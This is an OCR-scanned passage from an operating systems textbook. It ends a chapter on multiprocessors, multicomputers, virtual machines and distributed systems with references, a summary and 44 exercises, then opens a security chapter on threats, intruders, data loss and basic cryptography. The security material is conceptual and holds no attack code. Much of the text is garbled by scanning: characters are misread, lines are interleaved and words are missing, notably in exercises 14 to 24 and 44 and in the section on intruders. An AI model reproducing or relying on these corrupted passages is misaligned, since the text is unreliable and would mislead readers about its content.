2005; Huang et aI., 2001 ;  Kontothanassis et aI., 2005; Nikolopoulos et aI., 2001; 
and Zhang et aI., 2006). Programming models are also being looked at (Dean and 
Ghemawat, 2004). Energy usage in large data centers is an issue (Bash and For
man, 2007; Ganesh et aI., 2007; and Villa, 2006), as is scaling to tens of thousands 
of CPUs (Friedrich and Rolia, 2007). 

Virtual machines are an extremely hot topic, with many papers on different 
as/pects of the subject, including energy management (Moore et aI., 2005; and 
Stoess et aI., 2007), memory management (Lu and Shen, 2007), and trust man
agement (Garfinkel et a1., 2003; and Lie et aL, 2003). Se�urity is also 

.
of note 

(Jaeger et aI., 2007). Optimizing performance is also a subject of great mterest, 
especially CPU performance (King et aI., 2003), networking performance .

(Menon 
et aI., 2006), and I/O performance (Cherkasova and Gardner, 2005; and Lm et aI., 
2006). Virtual machines make migration feasible, so there is interest in that topic 
(Bradford et aL, 2007� and Huang et al., 2007). Virtual machines have also been 
used to debug operating systems (King et a1., 2005). 

With the growth of distributed computing, there has been a lot of research on 
distributed file and storage systems, including such issues as long-term 
maintainability in the face of hardware and software faults, human errors, and en
vironmental disruptions (Baker et aI., 2006; Kotla et aI., 2007; Maniatis et aI., 
2005; Shah et aL, 2007; and Storer et aI. 2007), using untrusted servers (Adya et 
aL, 2002; and Popescu et aI., 2003), authentication (Kaminsky et aL, 2003), and 
scalability in distributed file systems (Ghemawat et aL, 2003; Saito, 2002; and 
Weil et aI., 2006). Extending distributed file systems has also been investigated 
(Peek et aL, 2007). Peer-to-peer distributed file systems have also been widely 
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examined (Dabek et al., 2001 ;  Gummadi et al., 2003; Muthitacharoen et aI., 2002; 
and Rowstron and Drusche1, 2001). With some of the nodes being mobile, energy 
efficiency has also become important (Nightingale and flinn, 2004). 

8.6 SUMMARY 

Computer systems can be made faster and more reliable by using multiple 
CPUs. Four organizations for muItiCPU systems are mUltiprocessors, multicom
puters, virtual machines, and distributed systems. Each of these has its own prop
erties and issues. 

A mUltiprocessor consists of two or more CPUs that share a cornman RAM. 
The CPUs can be interconnected by a bus, a crossbar switch, or a multistage 
switching network. Various operating system configurations are possible, includ
ing giving each CPU its own operating system, having one master operating sys
tem with the rest being slaves, or having a symmetric multiprocessor, in which 
there is one copy of the operating system that any CPU can run. In the latter case, 
locks are needed to provide synchronization. When a lock is not available, a CPU 
can spin or do a context switch. Various scheduling algorithms are possible, in-
cluding timesharing, space sharing, and gang scheduling. 9 

Multicomputers also have two or more CPUs, but these CPUs each have their 
own private memory. They do not share any common RAM, so all communica
tion uses message passing. In some cases, the network interface board has its own 
CPU, in which case the communication between the main CPU and the interface 
board CPU has to be carefully organized to avoid race conditions. User-level 
communication on multicomputers often uses remote procedure calls, but distrib
uted shared memory can also be used. Load balancing of processes is an issue 
here, and the various algorithms used for it include sender-initiated algorithms, re
ceiver-initiated algorithms, and bidding algorithms. 

Virtual machines anow one 
·
or more actual CPUs to provide the illusion that 

there are more CPUs than there really are. In this way it is possible to run mUltiple 
operating systems or multiple (incompatible) versions of the same operating sys
tem at the same time on the same piece of hardware. When combined with mul
ticore designs, every computer then becomes a potential large-scale multicom
puter. 

Distributed systems are loosely coupled systems each of whose nodes is a 
complete computer with a complete set of peripherals and its own operating sys
tem. Often these systems are spread over a large geograph'ical area. Middleware 
is often put on top of the operating system to provide a uniform layer for applica
tions to interact with. The various kinds of middleware include document-based, 
file-based, object-based, and coordination-based middleware. Some examples are 
the World Wide Web, CORBA, Linda, and Jini. 
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PROBLEMS 

1. Suppose that the wire between switch 2A and switch 3B in the omega network of 
Fig. 8-5 breaks. Who is cut off from whom? 

2. When a system call is made in the model of Fig. 8-8, a problem has to be solved im
mediately after the trap that does not occur in the model of Fig. 8-7. What is the 
nature of this problem and how might it be solved? 

3. Rewrite the entef-region code of Fig. 2-22 using the pure read to reduce thrashing 
induced by the TSL instruction. 

4. Multicore CPUs are beginning to appear in conventional Desktop machines and laptop 
computers. Desktops with tens or hundreds of cores are not far off. One possible way 
to harness this power is to parallelize standard desktop applications such as the word 
processor or the web browser. Another possible way to harness the power is to paral
lelize the services offered by the operating system -- e.g., TCP processing -- and com
monly-used library services -- e.g., secure http library functions}. Which approach 
appears the most promising? Why? 

5. Are critical regions on code sections really necessary in an SMP operating system to 
avoid race conditions or will mutexes on data structures do the job as well? 

6. When the TSL instruction is used for multiprocessor synchronization, the cache block 
containing the mutex will get shuttled back and forth between the CPU holding the 
lock and the CPU requesting it if both of them keep touching the block. To reduce bus 
traffic, the requesting CPU executes one TSL every 50 bus cycles, but the CPU holding 
the lock always touches the cache block between TSL instructions. If a cache block 
consists of 1 6  32-bit words, each of which requires one bus cycle to transfer, and the 
bus runs at 400 MHz, what fraction of the bus bandwidth is eaten up by moving the 
cache block back and forth? 

7. In the text, it was suggested that a binary exponential backoff algorithm be used be
tween uses of TSL to poll a lock. It was also suggested to have a maximum delay be
tween polls. Would the algorithm work correctly if there were no maximum delay? 

8. Suppose that the TSL instruction was not available for synchronizing a mUltiprocessor. 
Instead, another instruction, SWP, was provided that atomically swapped the contents 
of a register with a word in memory. Could that be used to provide multiprocessor 
synchronization? If so, how could it be used? If not, why does it not work? 

9. In this problem you are to compute how much of a bus load a spin lock puts on the 
bus. Imagine that each instruction executed by a CPU takes 5 nsec. After an instruc
tion has completed, any bus cycles needed, for example, for TSL are carried out. Each 
bus cycle takes an additional 10 nsec above and beyond the instruction execution time. 
If a process is attempting to enter a critical region using a TSL loop, what fraction of 
the bus bandwidth does it consume? Assume that normal caching is working so that 
fetching an instruction inside the loop consumes no bus cycles. 

10. Fig. 8-12 was said to depict a timesharing environment. Why is only one process (A) 
shown in part (b)? . 
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11. Affinity scheduling reduces cache misses. Does it also reduce TLB 
about page faults? 

misses? What 

12. For each of the topologies of Fig. 8-16, what is the diameter of the interconnection 
network? Count all hops (host-router and router-router) equally for this problem. 

13. Cons!der the double torus topology of Fig. 8-16(d) but expanded to size k x k What is 
the dIameter of the network? Hint: Consider odd k and even k differently. 

. 

14. !he bise�tion b�ndwidth of an interconnection network is often used as a measure of 
Its ca�acIty. It IS computed .by removing a minimal number of links that splits the net
work mto two equal-sIze Ull\ts. The capacity of the removed links is then added u If 
t�ere �re many ;-vays to mak.e the split, the one with the minimum bandwidth i;'the 
blsec�on ba�dwI?th. For an mterconnection network consisting of an 8 x 8 x 8 cube 
what IS the blsectlOn bandwidth if each link is 1 Gbps? 

' 

15. Consider a multicomputer in 'which the network interface is in user mode so only 
three copies are needed from source RAM to destination RAM Ass th 

" . 

16. 

17. 

18. 

19. 

20. 

21. 

22. 

32 b' 
. ume a movmg 

a - .It word to or from the network interface board takes 20 nsec and that the net
work Itself operate� at ,I Gbp�, What would the delay for a 64-byte packet being sent 
from. sour.ce t� destmatlOn be If we could ignore the copying time? What is it with the 
copymg tIme. Now consider the case where two extra copies are needed to th k 
n�l on the sending side and from the kernel on the receiving side. What is 'the de�ay

e:

thls case? 
III 

R�pe�t the previous problem for both the three-copy case and the five-copy case but 
thIS ome compute the bandwidth rather than the delay. 

' 

How. must the implementation of send and receive differ between a shared memory 
multiprocessor system and a multicomputer, and how does this affect performance? 
When transferring data from RA� to a network interface, pinning a page can be used, 
but suppose �at system calls to pm and unpin pages each take 1 /lsec. Copying takes 5 
byte/nsee usmg DMA but 20 nsec per byte using programmed IJO. How big does a 
packet have to be before pinning the page and using DMA is worth it? 
When a procedure is scooped up from one machine and placed on another to be called 
by RPC, some pr?blems can occur. In the text, we pointed out four of these: pointers 
u�known �ay SIZes, unknown parameter types, and global variables. An issue no� 
discussed l� what happens if the (remote) procedure executes a system call. What 
problems rrnght that cause and what might be done to handle them? 
In a DS� system, when a page fault occurs, the needed page has to be located. List 
two pOSSIble ways to find the page. 
Consider the processor a.llocation of Fig. 8-24. Suppose that process H is moved from 
node 2 to node 3. What IS the total weight of the external traffic nqw? 
Some �ultico�puters allow running processes to be migrated from one node to anoth
er. . Is It suffiCIent to stop a process, freeze its memory image, and just ship that off to 
a dlfferent node? Name two nontrivial problems that have to be solved to make this 
work. 

23. Consider a type 1 hypervisor that can support up to n virtual machines at the same 
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time. pes can have a maximum of four disk primary partitions. Can n be larger than 

47 If so, where can the data be stored? 

One way to handle guest operating systems that change their page tables USi�g ;di-24. 
nary (nonprivileo-ed) instructions is to roark the page tables as read O:IY a� t

, 
e
d
� 

trap when they � modified. How else could the shadow page tables e mamtame . 

Discuss the efficiency of your approach YS. the read-only page tables. 

VMware does binary translation one basic block at a time, th�n it execute� the block 25. 
d starts translatino- the next one. Could it translate the enUre program III advanc

.
e 

:�d then execute it?
'=' 

If so, what are the advantages and disadvantages of each techm-

que? . 
26. Does it make sense to paravirtualize an operating system if the source code is aVall� 

able? What if it is not? 

27 PCs differ in minor ways at the very lowest level, things like how timers are :nanaged, 
. 

how interrupts are handled, and some of the details of DMA. �o thes� d�fferenc�s 

mean that virtual appliances are not actually going to work well m practice. Explam 

your answer. 

28. Why is there a limit to cable length on an Ethernet network? 

29. Running multiple virtual machine on a PC is know
th

n to require
US
lar

g
g:

? 
��

p
u
l
�: of mem¥ 

ory. Why? Can you think of any ways to reduce e memory a . . 

30 In FiO' 8�30 the third and fourth layers are labeled Middleware and Applicatio� on all 

• four �l8.chi�es. In what sense are they all the same across platfonns, and lfl what 

sense are they different? 

31. Fig. 8-33 lists six different types ?f service. For each of the following applications, 

which service type is most appropnate? 

(a) Video on demand over the Internet. 
(b) Downloading a Web page. 

DNS names have a hierarchical structure, such as cs.unLedu or sale�.general-32. 
'd t o One way to maintain the DNS database would be as one centrahzed data¥ wI ge.c m. 

ts/sec Propose a way base but that is not done because it would get too .many reques . 
that �he DNS database could be maintained in practice. 

33. In the discussion of how URLs are processed by a browser, it was stated that connec¥ 
tions are made to port 80. Why? 

34. Migrating virtual machines may be easier than mi�rati�g pro�e
rtu
sses

al 
,�::;�ation can 

still be difficult. What problems can arise when nugratmg a VI • 

35. Can the URLs used in the Web exhibit location transparency? Explain your anSwer. 

When a browser fetches a Web page, it first makes a Tep conne�tion to get th� text on 36. 
th (·n the HTML language). Then it closes the connection and exammes the e page 1 

TCP ( to fetch page. If there are figures or icons, it. then u:akes a separate connec Ion 
each one. Suggest two alternative deSIgns to Improve performance here. 

37. When session semantics are used, it is always true that changes to a file are im-
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mediately visible to the process making the change and never visible to processes on 
other machines. However, it is an open question as to whether or not they should be 
immediately visible to other processes on the same machine. Give an argument each 
way. 

38. When multiple processes need access to data, in what way is object-based access bet
ter than shared memory? 

39. When a Linda in operation is done to locate a tuple, searching the entire tuple space 
linearly is very inefficient. Design a way to organize the tuple space that will speed up 
searches on all in operations. 

40. Copying buffers takes time. Write a C program to find out how much time it takes on 
a system to which you have access: Use the clock or times functions to determine how 
long it takes to copy a large array. Test with different array sizes to separate copying 
time from overhead time. 

41. Write C functions that could be used as client and server stubs to make an RPC call to 
the standal·d printj function, and a main program to test the functions. The client and 
server should communicate by means of a data structure that could be transmitted over 
a network. You may impose reasonable limits on the length of the format string and 
the number, types, and sizes of the variables your client stub will accept. 

42. Write two programs to simulate load balancing on a multicomputer. The first program 
should set up m processes distributed across n machines according to an irtitialization 
file. Each process should have running time chosen at random from a Gaussian distri� 
bution whose mean and standard deviation are parameters of the simulation. At the 
end of each run, the process creates some number of new processes, chosen from a 
Poisson distribution. When a process exits, the CPU must decide whether to give away 
processes or try to find new processes. The first program should use the sender
initiated algorithm to give away work if it has more than k processes total on its ma
chine. The second program should use the receiver¥initiated aJgorithm to fetch work 
when needed. Make any other reasonable assumptions you need, but state them clear
ly. 

43. Write a program that implements the sender-initiated and receiver-initiated load 
balancing algorithms described in section 8.2. The algorithms should take as input a 
list of newly created jobs specified as (creating_processor, starLtime, re¥ 
quired_CPU_time) where the creating_processor is the number of the CPU that creat
ed the job, the starLtime is the time at which the job was created, and the re
quired...CPU_time is the amount of CPU time the job needs to complete (specified in 
seconds). Assume a node is overloaded when it has one job and a second job is creat
ed. Assume a node is underloaded when it has no jobs. Print the number of probe 
messages sent by both algorithms under heavy and light workloads. Also print the 
maximum and minimum number of probes sent by any host and ,received by any host. 
To create the workloads, write two workload generators. The first should simulate a 
heavy workload, generating, on average, N jobs every AlL seconds, where AlL is the 
average job length and N is the number of processorS. Job lengths can be a mix of 
long and short jobs, but the average job length must be AlL. The jobs should be ran� 
domly created (placed) across all processors. The second generator should simulate a 
light load, randomly generating (NI3) jobs every AlL seconds. Play with other param-
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. f the workload generators and see how it affects the number of probe 
etef settmgs or 
messages. . 

. lest wa s to implement a publishfsubscribe system is via a centrah�ed 
44

. ����: ::t S::C�ives PU�liShed articles and distributes those articles to the appro�7at� 
r 
b 'b Wr'te a multithreaded application that emulates � broker-based pu su 

su 
s:�� e�:bliSh�r and subscriber threads may communicate wlth the broker ;13 (shar-5Y . 

E ch messarre should start with a length field fonowed by t at many 
ed) memory

p
' 

b�shers send messacres to the broker where the flrSt line of the message 
characters. u e 

d f 11 d by one or more lines 
contains a hierarchical subject line separated by ots 0 owe . 
th t com rise the published article. Subscribers send a message to the br�ker with .� 
Si�gle li! containing a hierarchical interest line separate? by dot� expr�ssmg 

b
th� ,��, 

cles they are interested in. The interest line may contam the wildcar sy� o
'b 

" 

The broker must respond by sending all (past) 
th
arti��es '����ll�C��� l����L�.'� 

interest Articles in the message are separated by e me . '  . . ' 
The subscriber should print each message it receives along WIth Its subscnbe: Identity 

(. ', ' ,  est line) The subscriber should continue to receive any new arucles that 1.e., I s m  er . 
b 'b th ds can be created dy� 

e posted and match its interests. Publisher and su sen er rea . ) f; 1 ar 
micall from the terminal by typing "P" or "S" (:or pub1i�her or subscnber 0 � 

�awed b� the hierarchical subject/interest line. pubhshers WIll then pro�pt fO[�e 

a�tic1e. Typing a single line containing "." will signal !he 
.
end ?f the artIcle. IS 

project can also be implemented using processes commumcatmg Via Tep). 

9 
SECURITY 

Many companies possess valuable infonnation they want to guard closely. 
This infonnation can be technical (e.g., a new chip design or software), commer� 
cial (e.g., studies of the competition or marketing plans), financial (e.g., plans for 
a stock offering) legal (e.g., documents about a potential merger or takeover), 
among many other possibilities. Frequently this infonnation is protected by hav
ing a uniformed guard at the building entrance who checks to see that everyone 
entering the building is wearing a proper badge. In addition, many offices may be 
locked and some file cabinets may be locked as well to ensure that only author
ized people have access to the infonnation. 

Home computers increasingly have valuable data on them, too. Many people 
keep their financial information, including tax returns and credit card numbers, on 
their computer. Love letters have gone digital. And hard disks these days are full 
of important photos, videos, and movies. 

As more and more of this information is stored in computer systems, the need 
to protect it is becoming increasingly important. Guarding this information against 
unauthorized usage is therefore a major concern of all operating systems. Unfor
tunately, it is also becoming increasingly difficult due .to ·the widespread ac
ceptance of system bloat (and the accompanying bugs) as a nonnal phenomenon. 
In the following sections we will look at a variety of issues concerned with securi� 
ty and protection, some of which have analogies to real�world protection of infor
mation on paper, but some of which are unique to computer systems. In this chap
ter we will examine computer security as it applies to operating systems. 

609 
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The issues relating to operating system security have changed radically in the 

past two decades. Up until the early 19908, fe� pe(�p.le had a computer �t h?me 

and most computing was done at companies, UnIVerSltIeS, an? ?ther orgaruzatlOlls 

on multiuser computers ranging from large mainframes to mmlcomputers. Nearly 

all of these machines were isolated, not connected to any networks. As a conse

quence security waS almost entirely focused on. how to keep the users Qut of each 

others' hair. If Tracy and Marcia were both reglstered users of.the same co�puter 

the trick was to make sure that neither could read or tamper wlth the other s files, 

yet allow them to share those files they wanted shared. Elaborate �odels and 

mechanisms were developed to make sure no user could get access nghts he or 

she was not entitled to. 
Sometimes the models and mechanisms involved classes of users rather than 

just individuals. For example, on a military computer, data had to be markable as 

top secret, secret, confidential, or public, and corporals had to be prevented from 

snooping in generals' directories, no matter w�o the. corporal was and who �he 

general waS. AU these themes were thoroughly mvesugated, reported on, and im-

plemented over a period of decades. . 
An unspoken assumption was that once a model was chosen and an Imple-

mentation made, the software was basically correct and would �nforce whatever 

the rules were. The models and software were usually preuy s�mple so the as

sumption usually held. Thus if theoretically Tracy was not pen:mtted to look at a 

certain one of Marcia's files, in practice she really could not do It. . 
With the rise of the personal computer and the Internet and the demIse of the 

shared mainframe and minicomputer, the situation has changed (al��ugh not en

tirely since shared servers on corporate LANs are just like s�ared ffil!lICOmputers). 

At least for home users, the threat of another user snoopmg on his or her files 

became nonexistent because there were no other users on that comput�r. 

Unfortunately, as this threat diminished, another rose up t� take Its place (the 

law of conservation of threats?): attacks from the outside. Viruses, wonns, and 

other digital pests began to crop up, entering cOffi�uters ove� the .Internet, and 

wreaking an manner of havoc once established. Aidmg them III �err quest to do 

damage has been the explosive growth of bloat�d bugwru.:e, which has rep�a�ed 

the lean and mean software of previous years. WIth �per�tlng s�stems contammg 

5 million lines of code in the kernel and 100-MB applicatlOnS bemg the rule ra�her 

than the exception, there are vast numbers of bugs that digita� pe�ts ca� explOIt to 

d tho os not allowed by the rules. Thus we noW have a situatIOn III which one can 
o me . . ' d b 

f ally show that a system is safe yet It can be eaSIly comproffilse ecause 

s�r;::e bug in the code allows a rogue program to do things it is fonnally forbidden 

from doing. . 
To cover all the bases, this chapter has two parts. It starts by �ooking at 

threats in some detail, to see what we want to protect: Then Sec: 9.2 mtroduces 

modern cryptography, which is a basic tool important m th� secunty world. Then 

comes Sec. 9.3, which is about the formal models of secunty and how to reason 
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about secure access and protection among users who have confidential data but 
also share data with others. 

So fa.r, so good. Then reality kicks in. The next five major sections are practi
cal secunty problems that occur in daily life. But to close on an optimistic note, 
we end

. 
the c?apter with

. 
sections on defenses against these real-world pests and a 

short dlscussIOn of ongomg research on computer security and finally a short sum
mary. 

Also wort? noting is that while this is a book on operating systems, operating 
systems secunty and network security are so intertwined that it is really impossi
ble to separate them. For example, viruses come in over the network but affect the 
operating system. On the whole, we have tended to err on the side of caution and 
included. some material that is germane to the subject but not really an operating 
systems Issue. 

9.1 THE SECURITY ENVIRONMENT 

Let us start our study of security by defining some terminology. Some people 
use the tenus "security" and «protection" interchangeably. Nevertheless, it is fre
quently useful to make a distinction between the general problems involved in 
making sure that files are not read or modified by unauthorized persons: which in
clude technical, administrative, legal, and political issues on the one hand, and the 
specific operating system mechanisms used to provide security, on the other. To 
avoid confusion, we will use the term security to refer to the overall problem, and 
the term protection mechanisms to refer to the specific operating system mech
anisms used to safeguard information in the computer. The boundary between 
them is not well defined, however. First we will look at security to see what the 
nature �f the problem is. Later on in the chapter we will look at the protection 
mechamsms and models available to help achieve security. 

Security has many facets. Three of the more important ones are the nature of 
the threats, the nature of intruders, and accidental data loss. We will now look at 
these in turn. 

9.1.1 Threats 

From a security perspective, computer systems have four general goals, with 
corresponding threats to them, as listed in Fig. 9-1. The first, data confidential
ity, is concerned with having secret data remain secret. More specifically, if the 
owner of some data has decided that these data are only to be made available to 
certain people and no others, the system should guarantee that release of the data 
to unauthorized people never OCcurs. As an absolute minimum, the owner should 
be able to specify who can see what, and the system should enforce these specif
ications, which ideally should be per file. 
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Goal Threat 

Data confidentiality Exposure of data 
Data integrity Tampering with data 

System availability Denial of service 

Exclusion of outsiders System takeover by viruses 

Figure 9-1. Security goals and threats. 

The second goal, data integrity, means that unauthorized users should not be 

able to modify any data without the owner's permission. Data modification in this 

context includes not only changing the data, but also removing data and adding 

false data. If a system cannot guarantee that data deposited in it remain unchang
ed until the owner decides to change them, it is not worth much as an information 

system. 
The third goal, system availability, means that nobody can disturb the system 

to make it unusable. Such denial of service attacks are increasingly common. For 

example, if a computer is an Internet server, sending a flood of requests to it may 

cripple it by eating up aU of its CPU time just examining and discarding incoming 

requests, If it takes, say> 100 Ilsec to process an incoming request to read a Web 

page, then anyone who manages to send 10,000 requests/sec can wipe it out. Rea

sonable models and technology for dealing with attacks on confidentiality and 

integrity are available; foiling these denial-of-services attacks is much harder. 
Finally, a new threat has arisen in recent years. Outsiders can sometimes take 

command of people's home computers (using viruses and other means) and tum 
them into zombies, willing to do the outsider's bidding at a moment's notice. Of
ten zombies are used to send spam so that the mastermind behind the spam attack 
cannot be traced. 

In a certain sense, another threat also exists, but it is more of a threat to socie-
ty than to an individual users. There are folks out there who bear a grudge against 
some particular country or (ethnic) group or who are just angry at the world in 
general and want to destroy as much infrastructure as they can without too much 

regard to the nature of the damage or who the specific victims are. Usually such 

people feel that attacking their enemies' computers is a good thing, but the attacks 
themselves may not be well focused. 

Another aspect of the security problem is privacy: protecting individuals from 
misuse of information about them. This quickly gets into many legal and moral is
sues. Should the government compile dossiers on everyone in order to catch X
cheaters, where X is "welfare" or "tax," depending on your politics? Should the 
police be able to look up anything on anyone in order to stop organized crime? 
Do employers and insurance companies have rights? What happens when these 
rights conflict with individual rights? All of these issues are extremely important 
but are beyond the scope of this book. 

-
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9.1.2 Intruders 

Most people are pretty nice and obey the law h . 
Because there are unfortunately a few people arou�;o
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worry ab�ut secunty? 
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e not so DIce and want 
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n ers Just ,,:,a�t to read files they are not authorized to read Activ� 

In ers �re .more malICiOUS; they want to make unauthorized chan es
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:i��
n 
:::':

l
k��

g a /ystem
d 
to be secure against intruders, it is importa� to keep i� 

categories are: 
0 mtru er one IS trymg to protect against. Some common 

1 .  Casual prying b� nontechnical users. Many people have personal 
computers on theIr �esks that are connected to a shared file server, 
an� human na

.
ture b

.
emg what it is, some of them will read other peo

ple s electromc mall and other files if no barriers are placed in the 
way. Most UNIX systems, for example, have the default that all 
newly created files are publicly readable. 

2. Snooping b.y insiders. Students, system programmers, operators, "and 
other techmcal per�onnel often consider it to be a personal challenge 
to break the secunty of the local computer system Th f 
highly skill d d '1 . . ey 0 ten are 

e an are WI hng to devote a substantial amount of time 
to the effort. 

3. Detennined attempts to make money. Some bank programmers have 
attempte? to steal fro� the bank they were working for. Schemes 
?ave vaned f�om changmg the software to truncate rather than round 
mterest, keepmg the fraction of a cent for themselves to si ho 'n 
off accounts not used in years, to blackmail ("Pa me

' 
I P, 

m g 

troy all the bank's records."). 
y or WIll des-

4. Co
�

ercial or military espionage. Espionage refers to a serious and 
we - unded attempt by a competitor or a foreign country to steal 
programs, trade secrets, patentable ideas technology c' c 't d . 
business 1 d f, 

, , II Ul eSlgns, 
. p ans, an. so orth. Often this attempt will involve wiretap-

pmg or even e.rectm? �tennas directed at the computer to pick up its 
electromagnetIc radIatIon. 

It should be clear that trying to keep a h ·1 < 
. 

T . .
. ost! e 10relgn government from stealing 

mi ltary secrets IS qUIte a dIfferent matter from trying to keep stude t f . 
ing a fu . n s rom msert-

. nny messag�-of-the-day mto the system. The amount of effort needed for 
secunty and protectIon clearly depends on who the enemy is thought to be. 
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Another category of security pest that has manifested itself in recent years is 

the virus, which will be discussed at length later in this chapter. Basically a virus 

is a piece of code that replicates itself and (usually) does some damage. In a 

sense, the writer of a virus is also an intruder, often with high technical skills. The 

difference between a conventional intruder and a virus is that the fonner refers to 

a person who is personally trying to break into a system to cause damage whereas 

the latter is a program written by such a person and then released into the world 

hoping it will cause damage. Intruders try to break into specific systems (e.g., one 

belonging to some bank or the Pentagon) to steal or destroy particular data, 

whereas a virus writer usually wants to cause damage in general and does not care 

to whom. 

9.1.3 Accidental Data Loss 

In addition to threats caused by malicious intruders, valuable data can be lost 

by accident. Some of the common causes of accidental data loss are 

1 .  Acts of God: fires, floods, earthquakes, wars, riots, or rats gnawing 

backup tapes. 

2. Hardware or software errors; CPU malfunctions, unreadable disks or 

tapes, telecommunication errors, program bugs. 

3. Human errors: incorrect data entry, wrong tape or CD-ROM mount-

ed, wrong program run, lost disk or tape, or some other mistake. 

Most of these can be dealt with by maintaining adequate backups, preferably far 

away from the Original data. While protecting data against accidental loss may 

seem mundane compared to protecting against clever intruders, in practice, proba

bly more damage is caused by the former than the latter. 

9.2 BASICS OF CRYPTOGRAPHY 

Cryptography plays an important role in security. Many people are familiar 

with newspaper cryptograms, which are little puzzles in which each letter has 

been systematically replaced by a different one. These have as much to do with 

modern cryptography as hot dogs have to do with haute cuisine. In this section 

we will give a bird's-eye view of cryptography in the computer era, some of 

which will be useful for understanding the rest of this chapter. Besides, anyone 

concerned with security should at least know the basics. However, a serious dis

cussion of cryptography is beyond the scope of this book. Many excellent books 

On computer security discuss the topiC at length. The interested reader is referred 

to these (e.g., Kaufman et aI., 2002; and Pfleeger and Pfleeger, 2006). Below we 

give a very quick discussion of cryptography for readers not familiar with it at alL 
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Figure 9�2. Relationship between the plaintext and the ciphertext 

9.2.1 Secret-Key Cryptography 

To make this clearer, consider an encryption algorithm in which ea . 
repiaced by a different letter, for example, all As are replaced by Qs 

c�l
l�:r IS 

rep aced by Ws, all Cs are replaced by Es, and so on like this: 
' are 
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plaintext: AB C D E F G H I  J KLMNOPQRS TUVWXYZ 
ciphertext: QWER TYU I O P A S D FGH J KLZXCVBNM 

CHAP. 9 

This general system is called a monoalphabetic substitution, with the key· being 
the 26-letter string corresponding to the full alphabet. The encryption key in this 
example is QWERTYUIOPASDFGHJKLZXCVBNM. For the key above, the 
plaintext ArrACK would be transformed into the ciphertext QZZQEA. The de
cryption key tells how to get back from the ciphertext to the plaintext. In this ex
ample, the decryption key is KXVMCNOPHQRSZf/JADLEGWBUFT because an 
A in the ciphertext is a K in the plaintext, a B in the ciphertext is an X in the plain
text, etc. 

At first glance this might appear to be a safe system because although the 
cryptanalyst knows the general system (letter-for-Ietter substitution), he does not 
know which of the 261 "'" 4 x 1026 possible keys is in use. Nevertheless, given a 
surprisingly small amount of ciphertext, the cipher can be broken easily. The ba
sic attack takes advantage of the statistical properties of natural languages, In 
English, for example, e is the most common letter, followed by t, 0, a, n, i, etc, 
The most common two-letter combinations, called digrams, are th, in, er, re, and 
so on. Using this kind of information, breaking the cipher is easy. 

Many cryptographic systems, like this One, have the property that given the 
encryption key it is easy to find the decryption key, and vice versa, Such systems 
are called secret-key cryptography Or symmetric-key cryptography. Although 
monoalphabetic substitution ciphers are completely worthless, other symmetric 
key algorithms are known and are relatively secure if the keys are long enough, 
For serious security, minimally 256-bit keys should be used, giving a search space 
of 2256 ::::: 1.2 X 1077 keys. Shorter keys may thwart amateurs, but not major gov
ernments. 

9.2.2 Public-Key Cryptography 

Secret-key systems are efficient because the amount of computation required 
to encrypt or decrypt a message is manageable, but have a big drawback: the 
sender and receiver must both be in possession of the shared secret key. They may 
even have to get together physically for one to give it to the other. To get around 
this problem, public-key cryptography is used (Diffie and Hellman, 1976). This 
system has the property that distinct keys are used for encryption and decryption 
and that given a well-chosen encryption key, it is virtually impossible to discover 
the corresponding decryption key. Under these circumstances, the encryption key 
Can be made public and only the private decryption key kept secret. 

Just to give a feel for public-key cryptography, consider the following two 
questions: 

Question 1 :  How much is 314159265358979 x 314159265358979? 
Question 2: What is the square root of 3912571506419387090594828508241? 
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Most sixth graders, if given a pencil, paper, and the promise of a really big ice 
cream sunda� for the co�ect answer, could answer question 1 in an hour or two. 
Most adults glv

.
en a pencIl, paper, and the promise of a lifetime 50% tax cut could 

not solve question 2 �t all without using a calculator, computer, Or other external 
help. Altho�gh s�uanng and

. 
square rooting are inverse operations, they differ 

eno
.
rmously I

.
n theIr computatIOnal complexity. This kind of asymmetry fonns the 

baSIS o� pub�c-key cryptography. Encryption makes use of the easy operation but 
decryptIOn .wIthout the key requires you to perfonn the hard operation. 

A PU?hc key system called RSA exploits the fact that multiplying really bin
n�mb�rs IS much easi�r for ,a �omputer to do than factoring really big number� 
espe�lally when all anthmetlc IS done using modulo arithmetic and all the num
bers l?volved have hund

.
reds of digits (Rivest et al., 1978). This system is widely 

used m the cryptographIC worl�. ·Systems based on discrete logarithms are also 
used (EI Gamal, 1985). The mam problem with public-key cryptography is that it 
IS a thousand times slower than symmetric cryptography. 

. 
The way p�blic-key cr!ptography works is that everyone picks a (public key, 

pnvate key! prur and publishes the public key. The public key is the encryption 
key; the pu:ate k�y is the decryption key. Usually, the key generation is auto
mated, pOSSIbly WIth a user-selected password fed into the algorithm as a seed 
To s

.
end,a secre

.
t messag� to a user, a correspondent encrypts the message with th� re�eIver S publIc key. Smce only the receiver has the private key, only -the re

ceIver can decrypt the message. 

9,2.3 One-Way Fuuctions 

There are v�ous situa.tions that we will see later in which it is desirable to 
have s�me function: f, which has the property that given f and its parameter x, 
�omp�tmg y = f(x) IS e�y to d?, but given only jex), finding x is computationally 
mfeasible. S�c? a .t�nction typIcally mangles the bits in complex ways. It might 
s
.
tart out by m1tIahzm� y 

.
to x. �en it c�uld �ave a loop that iterates as many 

�lme� as there are 1 bIts m �, V:Ith each IteratIon permuting the bits of y in an 
IteratlOn-.d�pendent way, addmg m a different constant on each iteration, and gen
erally

.
mIxmg the bits up very thoroughly. Such a function is caned a crypto� 

graphIC hash function. 

9.2.4 Digital Signatures 

Frequently it,is necessary to sign a document digitally. FOl example, suppose 
a bank �ustomer mstructs the bank to buy Some stock for him by sending the bank 
an e-matl message. An hour after the order has been sent and executed the stock 
crashes. The �ustomer now denies ever having sent the e-maiL The bank can pro
du�e the e-m�l, .of course, but th� Customer can claim the bank forged it in order 
to oet a commISSIOn. How does a Judge know who is telling the truth? 
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Digital signatures make it possible to sign e-mails and other digital documents 
in such a way that they cannot be repudiated by the sender later. One common 
way is to first run the document through a one-way cryptographic hashing algo
rithm that is very hard to invert. The hashing functi?u typically produces a fix?d
length result independent of the original document SIze. The most popular hashing 
functions used are MDS (Message Digest 5), which produces a 16-byte result 
(Rivest, 1992) and SHA-l (Secure Hash Algorithm), which produces a 20-byte 
result (NIST, 1995). Newer versions of SHA-l are SHA-256 and SHA-512, 
which produce 32-byte and 64-byte results, respectively, but they are less widely 
used to date. 

The next step assumes the use of public-key cryptography as described abov�. 
The document owner then applies his private key to the hash to get D(hash). Thls 
value, called the signature block, is appended to the document and sent to the re
ceiver, as shown in Fig. 9-3. The application of D to the hash is sometimes 
referred to as decrypting the hash, but it is not really a decryption because the 
hash has not been encrypted. It is just a mathematical transformation on the hash. 

�---, Document 
